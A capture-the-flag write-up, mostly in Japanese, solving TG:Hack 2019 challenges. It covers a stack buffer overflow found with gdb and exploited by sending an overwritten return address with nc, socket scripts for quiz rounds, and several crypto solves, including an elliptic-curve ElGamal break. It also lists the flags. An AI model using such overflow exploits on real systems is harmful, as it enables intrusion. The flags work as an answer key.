> TG19{Wow! You_may_also_stack_overflow_into_a_struct}
TG19{Wow! You_may_also_stack_overflow_into_a_struct}

Pwntions 3 (Pwn 100)

何バイトか指定しながら、EIPの値が変わるのを見ていく。

$ gdb -q pwntion3
Reading symbols from pwntion3...done.
gdb-peda$ r <<< `python -c 'print "A" * 20'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 20'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: [Inferior 1 (process 41267) exited normally]
gdb-peda$ r <<< `python -c 'print "A" * 100'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 100'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x65 (b'e')
EBX: 0x41414141 (b'AAAA')
ECX: 0xffffccb0 ('A' <repeats 15 times>...)
EDX: 0x80 
ESI: 0xf7fb0000 --> 0x1afdb0 
EDI: 0xf7fb0000 --> 0x1afdb0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffcce0 ('A' <repeats 15 times>...)
EIP: 0x41414141 (b'AAAA')
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x41414141 in ?? ()
gdb-peda$ r <<< `python -c 'print "A" * 44 + "BBBB"'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 44 + "BBBB"'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x31 (b'1')
EBX: 0x41414141 (b'AAAA')
ECX: 0xffffccb0 ('A' <repeats 15 times>...)
EDX: 0x80 
ESI: 0xf7fb0000 --> 0x1afdb0 
EDI: 0xf7fb0000 --> 0x1afdb0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffcce0 --> 0xffffcd0a --> 0xffff 
EIP: 0x42424242 (b'BBBB')
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x42424242 in ?? ()

$ python -c 'print "A" * 44 + "\xb6\x86\x04\x08"' | nc pwntion3.tghack.no 1063
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐█▐▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀
------------------------------ Overflow pt. 3 -------------------------------

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: TG19{Awesome! You are now better at pwning than many CTFers!! Congratulations}★
/opt/wrap.sh: line 2:  3666 Segmentation fault      (core dumped) ./pwntion3
TG19{Awesome! You are now better at pwning than many CTFers!! Congratulations}

Echo Chamber (n00b 5)

表示されたものをそのまま答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('echo.tghack.no', 5555))

for i in range(50):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n').strip()
    print data
    print data
    s.sendall(data + '\n')

data = recvuntil(s, '\n').strip()
print data
TG19{behold_the_echo_chamber_of_secrets}

Math Bonanza (n00b 10)

1000回四則演算の問題に答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('math.tghack.no', 10000))

for i in range(1000):
    data = recvuntil(s, '\n').strip()
    print data
    formula = recvuntil(s, '\n').strip()
    print formula
    ans = str(eval(formula))
    data = recvuntil(s, ': ')
    print data + ans
    s.sendall(ans + '\n')
    data = recvuntil(s, '\n').strip()
    print data

data = recvuntil(s, '\n').strip()
print data
TG19{calculate_all_the_things}

Let's Hash it Out (n00b 20)

表示された文字列に対して、指定されたハッシュを答える。

import socket
import re
import hashlib

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('hash.tghack.no', 2001))

data = recvuntil(s, 'luck!\n').strip()
print data

for i in range(1000):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n').strip()
    print data
    pattern = 'using (.+),'
    m = re.search(pattern, data)
    cat = m.group(1)

    data = recvuntil(s, '\n').strip()
    print data
    if cat == 'MD5':
        h = hashlib.md5(data).hexdigest()
    elif cat == 'SHA256':
        h = hashlib.sha256(data).hexdigest()
    elif cat == 'SHA512':
        h = hashlib.sha512(data).hexdigest()
    else:
        break
    data = recvuntil(s, ': ')
    print data + h
    s.sendall(h + '\n')

data = recvuntil(s, '\n').strip()
print data
TG19{one_order_of_sha256_hashbrowns_please}

American Standard Code for Information Interchange (Crypto 25)

ASCIIコードが並んでいるので、文字にしていく。

codes = '84 71 49 57 123 65 83 67 73 73 95 97 110 100 95 121 111 117 95 115 104 97 108 108 95 114 101 99 101 105 118 101 125'
codes = map(int, codes.split(' '))

flag = ''
for code in codes:
    flag += chr(code)

print flag
TG19{ASCII_and_you_shall_receive}

Land of Encoding (Crypto 25)

Base64デコードする。

$ echo VEcxOXtiZV9jYXJlZnVsX3doZW5fZHJvcHBpbmdfdGhlX2Jhc2V9 | base64 -d
TG19{be_careful_when_dropping_the_base}
TG19{be_careful_when_dropping_the_base}

Rotarius (Crypto 25)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号。

TG19{the_most_basic_type_of_encryption}

Exclusive Magic Club (Crypto 50)

XORでkeyがわかっているので、そのまま復号する。

enc = '''00111001 00101000 01000101 01010001 00011110 00010000 00110000 00011100
00110001 00001011 00011000 00000100 00110001 00111101 00010001 00011100
00101011 00011001 00000111 00010001 00110111 00100100 00111011 00000000
00000100 00011000 00001010 00000101 00011111 00110000 00010000 00000001
00000000 00001001'''

enc = enc.replace('\n', ' ').split(' ')

key = 'mother_knows_best'

flag = ''
for i in range(len(enc)):
    code = int(enc[i], 2) ^ ord(key[i%len(key)])
    flag += chr(code)

print flag
TG19{bow_down_to_the_AI_overlords}

Josefssons Final Exam (Crypto 75)

XORでkeyがわかっているので、そのまま復号すると、Base64文字列になる。そのままデコードできないが、シフトしてフラグの形式になるようシフトする数を探す。あとはデコードすれば、フラグになる。

import string

def caesar(s, n):
    ret = ''
    for i in range(len(s)):
        if s[i] in string.uppercase:
            code = ord(s[i]) - n
            if code < ord('A'):
                code += 26
        elif s[i] in string.lowercase:
            code = ord(s[i]) - n
            if code < ord('a'):
                code += 26
        else:
            code = ord(s[i])
        ret += chr(code)
    return ret

enc = '''00100011 00100010 00000100 00000010 00001000 00101010
00010111 00001011 00000001 01010101 01010110 00001100
00100010 01101100 00011000 00010001 00001111 00101111
01011110 00011111 00000100 00010001 00011011 00000010
00011001 00101100 00011011 00010011 00101001 01011101
00110010 00111000 00000001 00110011 00101001 01011011
00001101 01011110 01010110 00000110 00011000 00101010
00100011 01010011 00100011 00100001 00111101 01010110'''

enc = enc.replace('\n', ' ').split(' ')

key = 'good_luck'

enc_flag = ''
for i in range(len(enc)):
    code = int(enc[i], 2) ^ ord(key[i%len(key)])
    enc_flag += chr(code)

enc_flag = caesar(enc_flag, 8)
flag = enc_flag.decode('base64')

print flag
TG19{soon_you_are_the_crypto_master}

Passing Notes (Crypto 150)

bbb2c5e63d2ef893106fdd0d797aa97a を逆変換する。

supersecretpassword

これのSHA256のダイジェストをkeyとして、AES暗号の復号を行う。

from Crypto.Cipher import AES
from Crypto.Hash import SHA256

def unpad(s):
    return s[:-ord(s[-1])]

enc = 'vyLlwWSY1PCK5ELNTPUVdpl8z0rIXiB2+Ybcu/BeXidR3MEiym852HCkS6wHVCr+CdpP6Moe9VQUeFcyq3vZDpVK/orl+8vREYMRrnQR9O4='
enc = enc.decode('base64')

secret = 'supersecretpassword'
key = SHA256.new()
key.update(secret)
key = key.hexdigest().decode('hex')

iv = enc[:16]
enc = enc[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc))
print flag
TG19{you_should_really_consider_updating_your_hash_algorithm}

The Chamber of Secrets (Crypto 300)

楕円Elgamal暗号の問題。cを復号して、共通鍵を割り出し、復号する。

#!/usr/bin/env sage -python
# solve.sage
q = 1125899906842597
a = -3
b = 313205882961673
g = (1115545019992514, 78178829836422)
h = (829999038570486, 549144410878897)
c1 = (700253548714057, 421820716153583)
c2 = (470712751668926, 131989609316847)

F = FiniteField(q)
E = EllipticCurve(F, [a, b])
G = E.point(g)
H = E.point(h)
factors, exponents = zip(*factor(E.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2]
dlogs = []
for fac in primes:
    t = int(G.order()) / int(fac)
    dlog = discrete_log(t*H, t*G, operation='+')
    dlogs += [dlog]

d = crt(dlogs,primes)

C1 = E.point(c1)
C2 = E.point(c2)
secret = C2 - d * C1
print secret

この実行結果は以下の通り。

(934013602642177 : 28034533961304 : 1)

このx座標を鍵として復号する。

from Crypto.Cipher import Blowfish
from Crypto.Hash import SHA256
import base64

def unpad(s):
    return s[:-ord(s[-1])]

enc = 'sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0='
enc = base64.b64decode(enc)

secret = '934013602642177'
key = SHA256.new()
key.update(secret)

bs = Blowfish.block_size
iv = enc[:bs]
enc = enc[bs:]

cipher = Blowfish.new(key.digest(), Blowfish.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc))
print flag
TG19{please_be_more_discreet_when_hacking}